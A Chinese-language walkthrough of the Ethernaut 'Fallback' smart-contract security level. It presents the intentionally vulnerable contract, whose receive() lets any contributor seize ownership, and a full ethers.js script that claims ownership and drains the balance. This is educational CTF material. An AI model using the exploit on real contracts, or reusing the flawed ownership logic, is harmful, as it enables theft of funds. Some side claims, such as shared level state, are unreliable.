Skip to content
On this page

揭秘 Ethernaut Fallback 关卡:巧妙夺取合约控制权与清零余额

Ethernaut 是一个经典的 Solidity 智能合约安全训练场,旨在帮助开发者通过实际操作来学习和理解智能合约的漏洞。今天,我们将深入探讨其中一个极具挑战性的关卡——Fallback,并揭示其通关的奥秘。

Fallback 关卡概述

Fallback 关卡提供了一个名为 Fallback 的智能合约,其目标是让你夺取合约的 owner 身份,并最终将合约余额清零。听起来简单,但其背后隐藏着对 Solidity 特殊函数和以太坊交易机制的深刻理解。

合约代码解析:关键点剖析

让我们一起仔细审视 Fallback.sol 的代码,重点关注那些可能隐藏着通关线索的部分:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {
    mapping(address => uint256) public contributions; // 记录用户的贡献
    address public owner; // 合约的拥有者

    constructor() {
        owner = msg.sender; // 构造函数中,合约部署者成为 owner
        contributions[msg.sender] = 1000 * (1 ether); // 部署者拥有巨额贡献
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner"); // 只有 owner 才能执行某些操作
        _;
    }

    function contribute() public payable {
        require(msg.value < 0.001 ether); // 限制单个贡献额度
        contributions[msg.sender] += msg.value; // 增加用户贡献
        if (contributions[msg.sender] > contributions[owner]) {
            owner = msg.sender; // 如果用户贡献超过 owner,则 owner 变更
        }
    }

    function getContribution() public view returns (uint256) {
        return contributions[msg.sender]; // 查看用户贡献
    }

    function withdraw() public onlyOwner {
        payable(owner).transfer(address(this).balance); // owner 可以提取合约所有余额
    }

    receive() external payable { // **关键!fallback 函数**
        require(msg.value > 0 && contributions[msg.sender] > 0); // 只有在有 value 且用户有贡献时才执行
        owner = msg.sender; // **这里是夺取 owner 的关键!**
    }
}

核心漏洞与通关策略

  1. 夺取 Owner 身份:receive() 函数的妙用

    • receive() 函数是在 Solidity 0.6.0 及更高版本中引入的特殊函数,当智能合约收到不带数据的以太坊交易时,就会触发这个函数。
    • Fallback 合约中,receive() 函数有一个关键的逻辑:require(msg.value > 0 && contributions[msg.sender] > 0); owner = msg.sender;
    • 这意味着,任何一个向合约发送以太坊(msg.value > 0)并且已经做出过贡献(contributions[msg.sender] > 0)的外部账户,都可以通过直接发送 Ether(不调用任何函数,触发 receive())来覆盖当前的 owner
    • 构造函数中,原始 owner 拥有 1000 ether 的贡献,这使得 contribute 函数中的 if (contributions[msg.sender] > contributions[owner]) 条件很难在不触发 receive 的情况下被满足。
  2. 如何触发 receive() 并满足条件?

    • 条件一:msg.value > 0:这很容易实现,只需要向合约发送少量 Ether。
    • 条件二:contributions[msg.sender] > 0:这是关键。我们必须先成为合约的贡献者。
      • 方法 A:调用 contribute() 函数:虽然 contribute() 函数限制了 msg.value < 0.001 ether,但我们可以调用它并发送极少量的 Ether(例如 0.000000000000000001 ether,即 1 wei),来满足 contributions[msg.sender] > 0 的条件。
      • 方法 B:直接发送 Ether(不带函数选择器):如果你熟悉以太坊的交易细节,可以直接构造一个交易,将 Ether 发送到合约地址,而不带任何 data 字段。只要合约地址是可收款的,并且 receive() 函数对它可用,这个交易就会触发 receive()。但这样做无法直接增加 contributions,所以通常还是需要先通过 contribute 函数进行贡献。
  3. 清零合约余额:withdraw() 的挑战

    • withdraw() 函数被 onlyOwner 修饰符保护,意味着只有当前的 owner 才能调用。
    • 一旦你成功夺取了 owner 的身份,你就可以直接调用 withdraw() 函数,将合约中所有的 Ether 都提取到你的钱包中。

通关步骤详解

  1. 准备工作:

    • 一个以太坊钱包(如 MetaMask)。
    • 连接到 Ethernaut 平台。
    • 获取 Ethernaut 提供的合约地址和你自己的钱包地址。
    • 确保你的钱包里有少量的 ETH(用于支付 Gas 费和进行交易)。
  2. 第一步:触发 contribute() 函数(如果需要)

    • 使用你熟悉的 Web3 库(如 ethers.js、web3.js)或 Ethernaut 提供的交互界面。
    • 找到 Fallback 合约的 contribute() 函数。
    • 发送极少量的 Ether,远小于 0.001 ether(例如 0.000000000000000001 ether,即 1 wei)。
    • 这一步的目的是让你的地址在 contributions mapping 中拥有一个非零的贡献值。
  3. 第二步:夺取 Owner 身份

    • 关键步骤:直接向合约地址发送 Ether,而不调用任何函数。
    • 你需要构造一个原始的以太坊交易(raw transaction),指定合约地址作为 to,设置一个极小的 value(例如 0.000000000000000001 ether),而 data 字段为空。
    • 执行这个交易。当这个交易被矿工打包后,由于 data 为空且 msg.value > 0,合约的 receive() 函数就会被触发。
    • 由于你在上一步中已经有了贡献(contributions[msg.sender] > 0),receive() 函数中的 require 条件就会满足,你的地址就会被设置为新的 owner
  4. 第三步:执行 withdraw() 函数

    • 一旦你成为 owner,你就可以调用 withdraw() 函数。
    • 执行 withdraw() 函数。此时,合约中的所有 Ether(包括你之前发送的、以及可能在合约中存在的其他 Ether)都将被转移到你的钱包地址。

代码示例(使用 ethers.js)

以下是一个使用 ethers.js 实现通关的 Javascript 代码示例:

javascript
// 确保你已安装 ethers.js: npm install ethers
import { ethers } from "ethers";

async function exploitFallback() {
    // 替换为你的 RPC URL, 部署合约的私钥, 合约地址
    const provider = new ethers.JsonRpcProvider("YOUR_RPC_URL");
    const wallet = new ethers.Wallet("YOUR_PRIVATE_KEY", provider);

    const contractAddress = "FALLBACK_CONTRACT_ADDRESS";
    const abi = [
        "function contribute() public payable",
        "function withdraw() public",
        // receive() 函数不需要在 ABI 中显式声明,它会被自动处理
    ];
    const contract = new ethers.Contract(contractAddress, abi, wallet);

    console.log(`Wallet address: ${wallet.address}`);
    console.log(`Initial owner: (fetching...)`);
    // 注意:如果 owner 改变,你需要重新连接合约实例才能获取最新的 owner
    // 这里只是为了演示,实际需要根据情况获取最新 owner

    try {
        console.log("Step 1: Contributing a tiny amount...");
        const contributeTx = await contract.contribute({
            value: ethers.parseEther("0.000000000000000001"), // 1 wei
        });
        await contributeTx.wait();
        console.log("Contribution successful.");
    } catch (error) {
        console.error("Error during contribution:", error);
        // 如果 contribute 已经成功过,可能会有错误,可以忽略
    }

    console.log("Step 2: Sending Ether directly to trigger receive() and claim ownership...");
    const rawTx = {
        to: contractAddress,
        data: "", // 空 data 字段会触发 receive()
        value: ethers.parseEther("0.000000000000000001"), // 1 wei, 也可以是任意少量 Ether
    };
    const claimOwnershipTxResponse = await wallet.sendTransaction(rawTx);
    await claimOwnershipTxResponse.wait();
    console.log("Ownership claimed!");

    console.log("Step 3: Withdrawing all contract balance...");
    try {
        const withdrawTx = await contract.withdraw();
        await withdrawTx.wait();
        console.log("Withdrawal successful. Contract balance should be zero.");
    } catch (error) {
        console.error("Error during withdrawal:", error);
    }
}

exploitFallback().catch(error => {
    console.error("Exploit failed:", error);
});

重要提示:

  • Gas 费用: 每次交易都需要支付 Gas 费用。请确保你的钱包有足够的 ETH。
  • 网络延迟: 以太坊网络可能存在延迟,交易确认需要时间。
  • 合约状态: Ethernaut 的合约状态是共享的,如果有人在你之前已经通过这个关卡,合约的状态可能已经改变。
  • 版本兼容性: receive() 函数是在 Solidity 0.6.0 之后引入的。确保你的 Ethernaut 环境支持此版本。

通过理解 receive() 函数的触发机制以及如何巧妙地满足其条件,你就能成功地从 owner 变为合约的真正主人,并最终将其余额清零。Fallback 关卡不仅考验了对 Solidity 语法的掌握,更重要的是对智能合约安全模型和以太坊底层机制的深刻理解。祝你在 Ethernaut 的学习旅程中不断进步!

Built with AiAda